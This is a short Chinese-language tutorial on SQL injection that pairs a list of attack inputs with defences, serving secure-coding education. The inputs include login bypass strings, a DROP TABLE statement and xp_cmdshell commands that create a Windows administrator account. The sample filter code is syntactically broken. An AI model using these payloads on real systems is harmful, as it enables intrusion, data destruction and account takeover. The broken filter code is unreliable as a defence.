一、SQL注入方法
①試探資料庫
如在登入框的使用者名稱中輸入單引號‘
②略過驗證
若知道帳號,則在帳號名的輸入框中輸入:帳號名’--
若不知帳號,則在帳號名的輸入框中輸入:‘OR 1=1 --
③執行多個SQL運算式
利用分號分隔運算式如:
輸入 ‘;drop table表名--
‘;insert into表名 values('欄位1值','欄位2值',……)-- 注意此法必須知道所有的欄位數
;and db_name()>0 --,db_name()是另一個系統變數,返回的是串連的資料庫名
④執行預存程序
輸入 ‘;exec master..xp-cmdshell 'ipconfig/release' -- 斷開網路連接
‘;exec master..xp_cmdshell 'net user name password /add' -- 用net命令建立了使用者名稱為name、密碼為password的windows的帳號
';exec master..xp_cmdshell ‘net localgroup name administrators /add'-- 將建立的帳號name加入Administrator 群組(只適用於用sa串連資料庫的情況)
二、解決方案:
①限定字串長度或輸入格式
例:txtUserID.MaxLength=8
ValidationExpression="\w+"
②使用參數
對於SQL資料庫:
strcmd="Select * From Users where userID=@uid and pwd=@pwd"
sqlcommand cmd=new sqlcommand(strcmd,con);
sqlParameter param=cmd.Parameters.Add("@uid",sqlDbType.Varchar,10);
param.value=TextBox1.Text;
對於Access資料庫:
string sql="Select userid from test where [user]=? and pwd=?";
cmd=new OleDbCommand(sql,conn);
OleDbParameter Puser=new OleDbParameter("user",OleDbType.VarChar,50,"user");
OleDbParameter Ppwd=new OleDbParameter("pwd",OleDbType.VarChar,50,"pwd");
cmd.Parameters.Add(Puser);
cmd.Parameters.Add(Ppwd);
Puser.Value=this.TextBox1.Text;
Ppwd.Value=this.TextBox2.Text;
③過濾輸入的字元
‘à'' [à[[] %à[%] -à[-] _à[_]
例:
private string Filter(string strsql)
{
string strsql;
strsql=strsql.Replace("'","''");
strsql=strsql.Replace("[',"[[]"];
strsql=strsql.Replace("%","[%]");
strsql=strsql.Replace("-","[-]");
strsql=strsql.Replace("_","[_]");
Return strsql;
}